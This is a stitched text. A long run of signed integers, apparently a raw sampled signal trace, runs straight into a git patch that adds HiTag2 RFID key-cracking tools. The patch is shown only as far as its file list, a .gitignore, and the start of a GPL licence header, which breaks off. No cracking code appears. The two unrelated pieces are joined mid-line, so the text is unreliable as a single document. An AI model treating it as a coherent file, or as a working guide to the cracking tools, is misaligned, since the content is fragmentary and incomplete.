+44 +45 +44 +42 +40 +38 +36 +33 +32 +29 +27 +18 +3 +-15 +-29 +-42 +-49 +-53 +-51 +-49 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-34 +-32 +-31 +-29 +-28 +-25 +-24 +-21 +-19 +-18 +-17 +-17 +-16 +-14 +-14 +-14 +-7 +12 +31 +46 +55 +60 +60 +58 +54 +51 +48 +45 +43 +40 +38 +35 +32 +28 +26 +25 +24 +23 +21 +20 +19 +18 +16 +16 +15 +14 +12 +9 +1 +-13 +-29 +-43 +-54 +-60 +-63 +-62 +-59 +-56 +-52 +-49 +-47 +-45 +-44 +-43 +-34 +-14 +7 +25 +35 +41 +42 +41 +39 +38 +35 +33 +31 +30 +28 +25 +16 +1 +-16 +-31 +-43 +-51 +-53 +-52 +-51 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-28 +-10 +11 +27 +38 +44 +45 +44 +42 +40 +37 +35 +33 +32 +30 +27 +19 +3 +-15 +-30 +-42 +-50 +-52 +-51 +-49 +-47 +-44 +-42 +-40 +-38 +-36 +-36 +-34 +-33 +-32 +-29 +-27 +-25 +-23 +-21 +-19 +-18 +-18 +-17 +-16 +-15 +-14 +-15 +-7 +11 +31 +46 +55 +60 +61 +58 +55 +51 +48 +45 +42 +40 +38 +35 +25 +8 +-10 +-26 +-38 +-46 +-49 +-47 +-46 +-44 +-42 +-39 +-37 +-35 +-33 +-33 +-24 +-5 +15 +32 +42 +48 +48 +47 +44 +41 +38 +36 +34 +33 +31 +28 +18 +2 +-15 +-30 +-43 +-50 +-52 +-52 +-50 +-47 +-44 +-41 +-39 +-37 +-36 +-35 +-27 +-8 +13 +31 +41 +47 +47 +45 +43 +41 +38 +36 +34 +33 +30 +26 +24 +22 +21 +20 +18 +18 +16 +16 +14 +14 +13 +13 +11 +10 +9 +7 +-1 +-15 +-31 +-44 +-56 +-63 +-65 +-64 +-61 +-58 +-54 +-51 +-48 +-46 +-44 +-44 +-42 +-39 +-37 +-34 +-33 +-30 +-28 +-26 +-24 +-22 +-20 +-19 +-19 +-18 +-18 +-17 +-10 +9 +29 +45 +53 +58 +58 +56 +53 +49 +46 +44 +41 +39 +36 +33 +24 +7 +-11 +-27 +-39 +-45 +-48 +-49 +-47 +-44 +-42 +-40 +-38 +-35 +-33 +-33 +-25 +-6 +15 +33 +42 +48 +48 +46 +43 +40 +38 +37 +35 +33 +30 +27 +18 +2 +-15 +-30 +-43 +-50 +-53 +-53 +-50 +-46 +-43 +-41 +-40 +-38 +-37 +-36 +-27 +-8 +13 +31 +41 +46 +47 +46 +43 +41 +38 +36 +33 +32 +29 +26 +18 +2 +-15 +-31 +-43 +-50 +-53 +-53 +-51 +-47 +-44 +-42 +-40 +-38 +-36 +-35 +-27 +-8 +13 +30 +40 +45 +46 +45 +43 +40 +37 +35 +33 +32 +30 +27 +18 +2 +-16 +-31 +-43 +-51 +-54 +-53 +-51 +-47 +-44 +-41 +-40 +-38 +-36 +-35 +-27 +-8 +13 +30 +40 +46 +46 +46 +43 +41 +37 +35 +33 +32 +29 +26 +18 +2 +-16 +-31 +-44 +-51 +-54 +-53 +-50 +-47 +-44 +-41 +-40 +-37 +-35 +-34 +-26 +-8 +13 +29 +39 +45 +47 +46 +43 +39 +37 +35 +33 +32 +29 +26 +24 +22 +19 +19 +18 +17 +16 +15 +14 +13 +13 +12 +11 +11 +10 +7 +-1 +-15 +-31 +-45 +-56 +-63 +-65 +-64 +-61 +-58 +-54 +-50 +-48 +-46 +-44 +-43 +-42 +-40 +-38 +-35 +-32 +-29 +-28 +-26 +-25 +-22 +-21 +-20 +-19 +-17 +-17 +-18 +-10 +9 +29 +45 +53 +58 +58 +55 +52 +49 +46 +44 +41 +38 +36 +33 +24 +7 +-11 +-26 +-39 +-47 +-51 +-50 +-47 +-44 +-42 +-40 +-37 +-35 +-35 +-34 +-25 +-5 +15 +31 +41 +47 +48 +46 +44 +41 +38 +36 +34 +32 +30 +28 +18 +2 +-16 +-31 +-43 +-50 +-53 +-52 +-50 +-47 +-45 +-41 +-39 +-36 +-36 +-36 +-27 +-8 +13 +30 +40 +46 +48 +45 +42 +40 +37 +36 +33 +32 +29 +26 +17 +1 +-16 +-31 +-43 +-51 +-54 +-54 +-51 +-47 +-44 +-41 +-40 +-37 +-37 +-36 +-28 +-8 +14 +31 +40 +45 +46 +45 +42 +39 +37 +34 +30 +28 +25 +22 +7 +-13 +-33 +-50 +-66 +-80 +-92 +-101 +-107 +-109 +-108 +-105 +-100 +-93 +-87 +-80 +-76 +-71 +-66 +-62 +-58 +-54 +-50 +-45 +-43 +-40 +-39 +-36 +-34 +-33 +-31 +-28 +-26 +-24 +-24 +-22 +-21 +-20 +-19 +-18 +-16 +-15 +-16 +-15 +-14 +-13 +-13 +-12 +-11 +-10 +-11 +-11 +-10 +-9 +-9 +-8 +-8 +-7 +-8 +-7 +-8 +-8 +-7 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-5 +-5 +-4 +-5 +-4 +-5 +-5 +-6 +-6 +-5 +-4 +-4 +-4 +-5 +-4 +-4 +-4 +-4 +-3 +-4 +-3 +-5 +-4 +-4 +-3 +-4 +-3 +-3 +-3 +-3 +-4 +-4 +-3 +-3 +-3 +-4 +-4 +-24 +-41 +-57 +-70 +-83 +-94 +-104 +-112 +-116 +-5 +49 +57 +45 +28 +13 +5 +3 +9 +15 +19 +20 +18 +-4 +-23 +-40 +-56 +-70 +-82 +-93 +-102 +-105 +9 +63 +71 +57 +40 +24 +15 +15 +19 +23 +27 +28 +27 +23 +21 +19 +18 +17 +16 +16 +15 +-6 +-25 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +6 +58 +66 +53 +36 +20 +12 +12 +16 +20 +24 +25 +25 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-102 +12 +65 +72 +59 +42 +26 +17 +16 +20 +24 +27 +28 +27 +4 +-16 +-34 +-50 +-65 +-78 +-89 +-99 +-101 +14 +67 +74 +60 +42 +27 +18 +17 +21 +25 +29 +29 +28 +25 +23 +21 +19 +18 +18 +17 +16 +-6 +-25 +-42 +-57 +-71 +-83 +-94 +-104 +-107 +7 +60 +68 +54 +37 +21 +13 +13 +18 +22 +25 +26 +25 +22 +20 +18 +17 +16 +15 +14 +14 +-7 +-26 +-43 +-59 +-72 +-84 +-95 +-104 +-107 +6 +60 +67 +53 +36 +21 +12 +11 +17 +21 +25 +25 +23 +1 +-19 +-37 +-53 +-67 +-79 +-91 +-100 +-103 +12 +66 +73 +59 +42 +26 +17 +16 +19 +24 +28 +29 +28 +24 +22 +20 +18 +17 +17 +17 +16 +-6 +-25 +-42 +-57 +-71 +-83 +-94 +-103 +-106 +6 +60 +67 +53 +36 +21 +13 +13 +17 +21 +24 +25 +24 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-102 +13 +65 +72 +59 +41 +25 +16 +16 +21 +26 +28 +28 +27 +23 +21 +19 +19 +18 +17 +16 +15 +-6 +-26 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +7 +60 +68 +54 +37 +21 +12 +11 +15 +21 +26 +26 +25 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-103 +11 +65 +73 +59 +41 +25 +17 +15 +19 +24 +28 +29 +27 +4 +-16 +-34 +-50 +-65 +-77 +-89 +-99 +-101 +13 +66 +75 +61 +43 +27 +18 +17 +21 +25 +29 +30 +28 +25 +22 +20 +19 +19 +18 +17 +16 +-6 +-25 +-42 +-57 +-71 +-83 +-94 +-103 +-107 +6 +59 +67 +53 +37 +21 +12 +11 +16 +21 +25 +26 +24 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-102 +12 +66 +72 +58 +41 +25 +17 +15 +19 +24 +28 +29 +27 +4 +-16 +-34 +-50 +-65 +-78 +-89 +-99 +-101 +14 +66 +74 +59 +41 +26 +18 +17 +21 +25 +29 +29 +27 +24 +22 +21 +20 +18 +17 +16 +16 +-6 +-25 +-43 +-58 +-72 +-83 +-94 +-104 +-106 +7 +60 +68 +54 +36 +21 +12 +12 +17 +22 +25 +25 +24 +1 +-18 +-36 +-52 +-67 +-79 +-90 +-100 +-103 +12 +65 +73 +59 +41 +26 +17 +15 +20 +25 +29 +29 +27 +24 +22 +19 +18 +18 +18 +17 +16 +-6 +-25 +-43 +-58 +-72 +-83 +-95 +-104 +-107 +5 +58 +67 +53 +36 +21 +13 +12 +16 +20 +24 +26 +25 +2 +-18 +-36 +-52 +-66 +-79 +-90 +-100 +-102 +12 +65 +72 +58 +41 +24 +16 +16 +21 +25 +27 +28 +27 +4 +-16 +-35 +-51 +-65 +-78 +-89 +-99 +-101 +14 +67 +74 +60 +42 +26 +17 +16 +21 +26 +29 +29 +28 +24 +22 +20 +19 +18 +18 +16 +15 +-7 +-26 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +6 +60 +67 +54 +36 +21 +13 +12 +17 +22 +25 +26 +24 +1 +-19 +-37 +-52 +-67 +-79 +-91 +-100 +-102 +13 +66 +73 +58 +40 +25 +17 +16 +20 +25 +28 +29 +27 +24 +22 +20 +19 +17 +16 +16 +16 +-6 +-25 +-42 +-57 +-71 +-83 +-94 +-104 +-106 +6 +58 +66 +52 +35 +20 +12 +11 +17 +22 +25 +25 +24 +21 +19 +17 +16 +15 +15 +14 +13 +-8 +-27 +-44 +-59 +-73 +-85 +-96 +-105 +-108 +5 +59 +66 +52 +35 +20 +12 +11 +16 +21 +24 +25 +23 +0 +-19 +-37 +-53 +-67 +-80 +-91 +-100 +-103 +12 +65 +73 +59 +41 +24 +16 +16 +21 +25 +28 +29 +27 +23 +20 +18 +18 +18 +17 +15 +15 +-7 +-26 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +5 +58 +66 +53 +36 +21 +13 +12 +17 +22 +25 +26 +24 +2 +-18 +-36 +-52 +-67 +-79 +-90 +-100 +-102 +13 +65 +72 +58 +40 +24 +16 +15 +20 +25 +28 +28 +26 +23 +22 +20 +19 +18 +17 +15 +14 +-7 +-27 +-44 +-59 +-72 +-84 +-95 +-104 +-107 +5 +59 +67 +54 +36 +20 +12 +11 +16 +21 +25 +26 +24 +1 +-19 +-37 +-52 +-67 +-79 +-91 +-100 +-102 +11 +64 +72 +58 +41 +25 +16 +15 +20 +24 +28 +29 +27 +4 +-16 +-34 +-50 +-65 +-77 +-89 +-99 +-101 +14 +66 +73 +60 +42 +26 +17 +16 +21 +25 +28 +29 +28 +25 +22 +20 +18 +17 +18 +16 +15 +-6 +-26 +-43 +-58 +-72 +-84 +-95 +-104 +-107 +5 +59 +66 +52 +35 +20 +12 +11 +16 +21 +25 +26 +24 +1 +-19 +-37 +-52 +-67 +-79 +-91 +-100 +-102 +13 +65 +73 +59 +41 +25 +17 +16 +20 +24 +28 +30 +28 +24 +22 +20 +19 +17 +16 +16 +16 +14 +13 +11 +11 +10 +9 +8 +8 +15 +26 +36 +46 +54 +60 +62 +61 +60 +56 +52 +48 +45 +43 +41 +38 +35 +33 +30 +29 +26 +24 +23 +21 +19 +17 +16 +15 +15 +14 +12 +11 +9 +9 +8 +7 +6 +5 +3 +0 +-3 +-2 +-1 +1 +2 +3 +3 +3 +2 +2 +2 +3 +2 +2 +1 +1 +1 +0 +0 +0 +0 +0 +-1 +-1 +-2 +-1 +-2 +-2 +-1 +-1 +-2 +-3 +-3 +-2 +-3 +-2 +-3 +-2 +-3 +-2 +-3 +-3 +-3 +-2 +-2 +-3 +-3 +-3 +-3 +-4 +-4 +-3 +-3 +-3 +-3 +-3 +-4 +-4 +-5 +-4 +-3 +-3 +-3 +-4 +-4 +-4 +-4 +-4 +-4 +-3 +-3 +-3 +-4 +-4 +-5 +-4 +-4 +-4 +-4 +-4 +-3 +-3 +-3 +-1 +-1 +0 +-1 +0 +0 +0 +-1 +-1 +-1 +0 +-1 +-1 +-1 +-1 +-2 +-2 +-2 +-1 +-1 +-2 +-3 +-2 +-3 +-2 +-3 +-2 +-2 +-2 +-3 +-4 +-3 +-3 +-3 +-3 +-4 +-3 +-4 +-4 +-5 +-4 +-4 +-3 +3 +21 +40 +54 +62 +65 +63 +61 +57 +54 +50 +47 +44 +41 +37 +34 +25 +8 +-10 +-26 +-39 +-46 +-48 +-47 +-47 +-46 +-45 +-43 +-41 +-39 +-36 +-35 +-27 +-9 +12 +29 +39 +45 +46 +45 +43 +41 +38 +36 +35 +33 +30 +27 +18 +3 +-14 +-29 +-42 +-48 +-51 +-52 +-52 +-49 +-47 +-44 +-43 +-40 +-38 +-38 +-29 +-10 +11 +29 +37 +43 +44 +44 +42 +39 +37 +35 +33 +32 +29 +26 +18 +3 +-15 +-30 +-43 +-49 +-52 +-52 +-51 +-49 +-46 +-45 +-43 +-40 +-38 +-36 +-29 +-10 +10 +27 +37 +42 +44 +44 +41 +38 +36 +34 +33 +31 +28 +26 +18 +2 +-16 +-31 +-43 +-49 +-52 +-53 +-51 +-49 +-47 +-44 +-42 +-39 +-38 +-37 +-30 +-10 +10 +28 +38 +43 +44 +43 +41 +39 +36 +35 +33 +32 +28 +26 +17 +1 +-16 +-31 +-43 +-49 +-52 +-53 +-51 +-49 +-46 +-44 +-42 +-39 +-38 +-38 +-37 +-35 +-33 +-30 +-29 +-27 +-25 +-23 +-21 +-21 +-20 +-18 +-17 +-16 +-16 +-16 +-9 +9 +29 +45 +54 +59 +59 +55 +52 +50 +47 +44 +41 +40 +36 +33 +23 +6 +-11 +-27 +-39 +-46 +-49 +-50 +-48 +-47 +-44 +-41 +-39 +-36 +-36 +-35 +-26 +-7 +14 +30 +41 +47 +46 +44 +42 +40 +38 +36 +33 +32 +29 +26 +16 +1 +-16 +-31 +-43 +-50 +-53 +-53 +-51 +-48 +-46 +-42 +-40 +-39 +-38 +-37 +-28 +-8 +12 +29 +39 +45 +45 +43 +41 +39 +37 +35 +32 +30 +27 +25 +16 +0 +-17 +-32 +-44 +-52 +-54 +-53 +-51 +-48 +-46 +-43 +-41 +-39 +-39 +-37 +-28 +-9 +12 +28 +38 +44 +44 +43 +41 +39 +36 +34 +31 +31 +28 +25 +16 +0 +-17 +-32 +-44 +-52 +-54 +-53 +-51 +-49 +-47 +-44 +-41 +-39 +-38 +-37 +-28 +-9 +11 +28 +38 +45 +45 +44 +40 +39 +36 +34 +32 +31 +29 +25 +22 +21 +19 +19 +17 +15 +14 +14 +13 +12 +11 +11 +10 +9 +6 +5 +-2 +-16 +-32 +-46 +-57 +-64 +-67 +-65 +-62 +-58 +-54 +-52 +-50 +-48 +-45 +-44 +-36 +-16 +4 +22 +31 +37 +39 +39 +37 +35 +32 +30 +28 +27 +25 +22 +14 +-1 +-18 +-32 +-45 +-52 +-55 +-54 +-52 +-49 +-46 +-44 +-43 +-40 +-38 +-37 +-37 +-35 +-33 +-31 +-30 +-28 +-25 +-23 +-21 +-20 +-19 +-19 +-18 +-17 +-17 +-16 +-8 +9 +28 +44 +53 +58 +58 +55 +52 +49 +46 +43 +39 +38 +35 +32 +29 +26 +24 +23 +21 +20 +19 +19 +18 +16 +14 +13 +12 +11 +9 +8 +0 +-14 +-30 +-44 +-56 +-62 +-65 +-64 +-61 +-57 +-54 +-51 +-49 +-45 +-43 +-43 +-42 +-40 +-38 +-36 +-35 +-31 +-29 +-26 +-25 +-24 +-23 +-21 +-20 +-19 +-18 +-18 +-11 +7 +26 +43 +52 +57 +56 +54 +51 +48 +44 +42 +40 +38 +35 +31 +28 +26 +24 +23 +21 +20 +19 +18 +16 +15 +14 +14 +13 +11 +9 +7 +0 +-15 +-31 +-45 +-56 +-62 +-65 +-65 +-62 +-58 +-54 +-51 +-49 +-46 +-45 +-45 +-43 +-40 +-37 +-34 +-33 +-31 +-29 +-27 +-26 +-24 +-22 +-20 +-20 +-19 +-19 +-19 +-11 +7 +27 +43 +52 +56 +55 +54 +51 +48 +45 +42 +39 +38 +35 +31 +29 +26 +24 +22 +20 +19 +18 +18 +16 +15 +14 +14 +12 +11 +9 +7 +0 +-15 +-31 +-45 +-56 +-62 +-65 +-64 +-61 +-57 +-54 +-52 +-49 +-46 +-45 +-45 +-43 +-41 +-38 +-36 +-34 +-31 +-29 +-27 +-26 +-24 +-22 +-20 +-20 +-19 +-18 +-19 +-11 +7 +26 +43 +52 +57 +56 +53 +50 +48 +45 +42 +40 +38 +35 +31 +28 +26 +25 +23 +20 +20 +18 +17 +16 +15 +14 +13 +12 +10 +9 +7 +-1 +-15 +-31 +-44 +-55 +-62 +-66 +-64 +-61 +-57 +-54 +-51 +-49 +-46 +-46 +-45 +-43 +-40 +-38 +-35 +-34 +-31 +-29 +-27 +-26 +-23 +-22 +-20 +-19 +-19 +-19 +-19 +-11 +7 +27 +44 +52 +56 +55 +53 +51 +48 +45 +42 +40 +38 +34 +30 +22 +5 +-12 +-27 +-40 +-47 +-50 +-50 +-49 +-46 +-43 +-40 +-39 +-37 +-36 +-35 +-27 +-8 +13 +30 +40 +46 +46 +44 +42 +39 +36 +34 +32 +31 +28 +25 +22 +21 +20 +19 +16 +16 +15 +14 +13 +12 +11 +11 +10 +8 +7 +5 +-2 +-16 +-32 +-46 +-57 +-63 +-67 +-66 +-63 +-58 +-55 +-52 +-50 +-47 +-46 +-45 +-44 +-41 +-38 +-35 +-34 +-31 +-29 +-27 +-26 +-24 +-22 +-20 +-20 +-20 +-19 +-19 +-11 +7 +27 +43 +52 +56 +55 +54 +51 +48 +45 +42 +39 +37 +34 +31 +22 +6 +-12 +-27 +-40 +-47 +-50 +-50 +-48 +-46 +-43 +-41 +-40 +-37 +-36 +-35 +-26 +-8 +13 +30 +39 +45 +45 +44 +42 +39 +36 +34 +32 +31 +28 +25 +22 +21 +19 +18 +16 +16 +15 +14 +13 +12 +11 +11 +9 +8 +7 +6 +-1 +-16 +-32 +-45 +-56 +-63 +-66 +-65 +-62 +-59 +-56 +-53 +-50 +-47 +-46 +-45 +-44 +-41 +-38 +-36 +-34 +-32 +-30 +-28 +-26 +-24 +-23 +-20 +-20 +-19 +-20 +-19 +-11 +7 +27 +42 +51 +56 +55 +53 +51 +48 +44 +41 +39 +37 +34 +30 +21 +5 +-12 +-28 +-41 +-48 +-50 +-50 +-48 +-46 +-44 +-41 +-39 +-37 +-36 +-35 +-26 +-8 +12 +30 +40 +46 +46 +44 +41 +39 +36 +34 +32 +31 +28 +25 +15 +0 +-17 +-32 +-44 +-51 +-54 +-54 +-52 +-49 +-45 +-43 +-41 +-39 +-38 +-37 +-28 +-9 +12 +29 +39 +44 +43 +42 +40 +38 +35 +33 +32 +30 +27 +24 +15 +0 +-17 +-32 +-45 +-52 +-55 +-54 +-52 +-49 +-45 +-42 +-41 +-39 +-38 +-37 +-28 +-9 +12 +29 +38 +43 +43 +42 +40 +38 +35 +33 +31 +29 +27 +24 +22 +21 +19 +17 +15 +14 +14 +13 +12 +11 +10 +10 +9 +8 +6 +5 +-2 +-17 +-33 +-46 +-57 +-63 +-66 +-65 +-62 +-59 +-55 +-52 +-50 +-47 +-46 +-45 +-43 +-41 +-38 +-36 +-34 +-32 +-30 +-27 +-26 +-24 +-22 +-21 +-20 +-20 +-20 +-19 +-11 +7 +26 +42 +51 +55 +54 +53 +50 +47 +44 +41 +39 +37 +34 +30 +27 +25 +23 +22 +20 +19 +17 +17 +16 +14 +14 +13 +11 +10 +8 +7 +0 +-15 +-31 +-45 +-56 +-62 +-65 +-64 +-61 +-57 +-54 +-52 +-49 +-47 +-46 +-45 +-43 +-41 +-38 +-36 +-34 +-32 +-29 +-27 +-25 +-24 +-22 +-21 +-20 +-19 +-19 +-18 +-11 +6 +26 +41 +51 +56 +55 +53 +50 +48 +45 +42 +39 +37 +34 +30 +27 +25 +23 +22 +19 +19 +18 +17 +16 +14 +13 +13 +11 +10 +8 +7 +0 +-15 +-31 +-45 +-56 +-62 +-65 +-64 +-62 +-58 +-55 +-52 +-50 +-46 +-45 +-44 +-43 +-41 +-39 +-35 +-34 +-31 +-29 +-27 +-25 +-24 +-23 +-21 +-20 +-19 +-19 +-20 +-12 +7 +27 +42 +51 +56 +56 +53 +50 +47 +45 +42 +39 +37 +33 +31 +21 +5 +-12 +-28 +-40 +-47 +-51 +-51 +-48 +-45 +-43 +-41 +-39 +-37 +-37 +-37 +-28 +-8 +13 +29 +39 +44 +45 +44 +41 +39 +36 +33 +29 +26 +23 +20 +5 +-15 +-34 +-51 +-67 +-80 +-93 +-102 +-108 +-110 +-109 +-106 +-102 +-97 +-93 +-88 +-83 +-77 +-73 +-68 +-61 +-56 +-52 +-50 +-49 +-47 +-44 +-41 +-40 +-38 +-36 +-34 +-33 +-31 +-29 +-25 +-23 +-21 +-21 +-20 +-17 +-17 +-17 +-18 +-17 +-16 +-16 +-16 +-17 +-15 +-14 +-12 +-12 +-12 +-12 +-13 +-15 +-14 +-14 +-13 +-14 +-13 +-13 +-12 +-11 +-12 +-11 +-10 +-10 +-10 +-10 +-9 +-9 +-8 +-9 +-9 +-8 +-7 +-7 +-8 +-8 +-7 +-7 +-7 +-7 +-7 +-7 +-7 +-7 +-7 +-6 +-6 +-6 +-7 +-7 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-6 +-5 +-6 +-6 +-5 +-4 +-5 +-5 +-6 +-5 +-5 +-5 +-5 +-6 +-5 +-5 +-6 +-6 +-6 +-5 +-5 +-5 +-6 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-6 +-5 +-5 +-5 +-6 +-6 +-5 +-4 +-5 +-5 +-5 +-4 +-5 +-5 +-5 +-4 +-5 +-6 +-6 +-5 +-5 +-4 +-6 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-4 +-5 +-6 +-5 +-5 +-4 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-5 +-5 +-6 +-6 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-6 +-5 +-4 +-5 +-5 +-6 +-5 +-5 +-5 +-6 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-5 +-5 +-6 +-5 +-5 +-5 From 317b4c32e5e8eee15050d597e1f9eea1c6faa8c9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 16 Jan 2020 11:11:14 +0100 Subject: [PATCH 333/418] hitag2crack stuff from RFidlar repo --- tools/hitag2crack/crack2/.gitignore | 7 + tools/hitag2crack/crack2/HardwareProfile.h | 524 +++++++++++ tools/hitag2crack/crack2/Makefile | 26 + tools/hitag2crack/crack2/hitagcrypto.c | 487 ++++++++++ tools/hitag2crack/crack2/hitagcrypto.h | 171 ++++ .../hitag2crack/crack2/ht2crack2buildtable.c | 561 +++++++++++ tools/hitag2crack/crack2/ht2crack2gentest.c | 98 ++ tools/hitag2crack/crack2/ht2crack2search.c | 433 +++++++++ tools/hitag2crack/crack2/ht2crack2utils.c | 187 ++++ tools/hitag2crack/crack2/ht2crack2utils.h | 34 + tools/hitag2crack/crack2/readme.md | 68 ++ tools/hitag2crack/crack2/rfidler.h | 412 +++++++++ tools/hitag2crack/crack2/runalltests.sh | 3 + tools/hitag2crack/crack2/runtest.sh | 25 + tools/hitag2crack/crack2/util.h | 206 +++++ tools/hitag2crack/crack2/utilpart.c | 183 ++++ tools/hitag2crack/crack3/.gitignore | 6 + tools/hitag2crack/crack3/HardwareProfile.h | 524 +++++++++++ tools/hitag2crack/crack3/Makefile | 19 + tools/hitag2crack/crack3/hitagcrypto.c | 485 ++++++++++ tools/hitag2crack/crack3/hitagcrypto.h | 171 ++++ tools/hitag2crack/crack3/ht2crack3.c | 466 ++++++++++ tools/hitag2crack/crack3/ht2test.c | 78 ++ tools/hitag2crack/crack3/readme.md | 35 + tools/hitag2crack/crack3/rfidler.h | 412 +++++++++ tools/hitag2crack/crack3/util.h | 147 +++ tools/hitag2crack/crack3/utilpart.c | 183 ++++ tools/hitag2crack/crack4/.gitignore | 3 + tools/hitag2crack/crack4/HardwareProfile.h | 524 +++++++++++ tools/hitag2crack/crack4/Makefile | 20 + tools/hitag2crack/crack4/hitagcrypto.c | 485 ++++++++++ tools/hitag2crack/crack4/hitagcrypto.h | 171 ++++ tools/hitag2crack/crack4/ht2crack2utils.c | 187 ++++ tools/hitag2crack/crack4/ht2crack2utils.h | 34 + tools/hitag2crack/crack4/ht2crack4.c | 868 ++++++++++++++++++ tools/hitag2crack/crack4/readme.md | 29 + tools/hitag2crack/crack4/rfidler.h | 412 +++++++++ tools/hitag2crack/crack4/util.h | 147 +++ tools/hitag2crack/crack4/utilpart.c | 183 ++++ tools/hitag2crack/readme.md | 206 +++++ 40 files changed, 9220 insertions(+) create mode 100644 tools/hitag2crack/crack2/.gitignore create mode 100644 tools/hitag2crack/crack2/HardwareProfile.h create mode 100644 tools/hitag2crack/crack2/Makefile create mode 100644 tools/hitag2crack/crack2/hitagcrypto.c create mode 100644 tools/hitag2crack/crack2/hitagcrypto.h create mode 100644 tools/hitag2crack/crack2/ht2crack2buildtable.c create mode 100644 tools/hitag2crack/crack2/ht2crack2gentest.c create mode 100644 tools/hitag2crack/crack2/ht2crack2search.c create mode 100644 tools/hitag2crack/crack2/ht2crack2utils.c create mode 100644 tools/hitag2crack/crack2/ht2crack2utils.h create mode 100644 tools/hitag2crack/crack2/readme.md create mode 100644 tools/hitag2crack/crack2/rfidler.h create mode 100755 tools/hitag2crack/crack2/runalltests.sh create mode 100755 tools/hitag2crack/crack2/runtest.sh create mode 100644 tools/hitag2crack/crack2/util.h create mode 100644 tools/hitag2crack/crack2/utilpart.c create mode 100644 tools/hitag2crack/crack3/.gitignore create mode 100644 tools/hitag2crack/crack3/HardwareProfile.h create mode 100644 tools/hitag2crack/crack3/Makefile create mode 100644 tools/hitag2crack/crack3/hitagcrypto.c create mode 100644 tools/hitag2crack/crack3/hitagcrypto.h create mode 100644 tools/hitag2crack/crack3/ht2crack3.c create mode 100644 tools/hitag2crack/crack3/ht2test.c create mode 100644 tools/hitag2crack/crack3/readme.md create mode 100644 tools/hitag2crack/crack3/rfidler.h create mode 100644 tools/hitag2crack/crack3/util.h create mode 100644 tools/hitag2crack/crack3/utilpart.c create mode 100644 tools/hitag2crack/crack4/.gitignore create mode 100644 tools/hitag2crack/crack4/HardwareProfile.h create mode 100644 tools/hitag2crack/crack4/Makefile create mode 100644 tools/hitag2crack/crack4/hitagcrypto.c create mode 100644 tools/hitag2crack/crack4/hitagcrypto.h create mode 100644 tools/hitag2crack/crack4/ht2crack2utils.c create mode 100644 tools/hitag2crack/crack4/ht2crack2utils.h create mode 100644 tools/hitag2crack/crack4/ht2crack4.c create mode 100644 tools/hitag2crack/crack4/readme.md create mode 100644 tools/hitag2crack/crack4/rfidler.h create mode 100644 tools/hitag2crack/crack4/util.h create mode 100644 tools/hitag2crack/crack4/utilpart.c create mode 100644 tools/hitag2crack/readme.md diff --git a/tools/hitag2crack/crack2/.gitignore b/tools/hitag2crack/crack2/.gitignore new file mode 100644 index 000000000..71494d126 --- /dev/null +++ b/tools/hitag2crack/crack2/.gitignore @@ -0,0 +1,7 @@ +ht2crack2buildtable +ht2crack2search +ht2crack2gentest + +ht2crack2buildtable.exe +ht2crack2search.exe +ht2crack2gentest.exe diff --git a/tools/hitag2crack/crack2/HardwareProfile.h b/tools/hitag2crack/crack2/HardwareProfile.h new file mode 100644 index 000000000..a2f804be6 --- /dev/null +++ b/tools/hitag2crack/crack2/HardwareProfile.h @@ -0,0 +1,524 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. 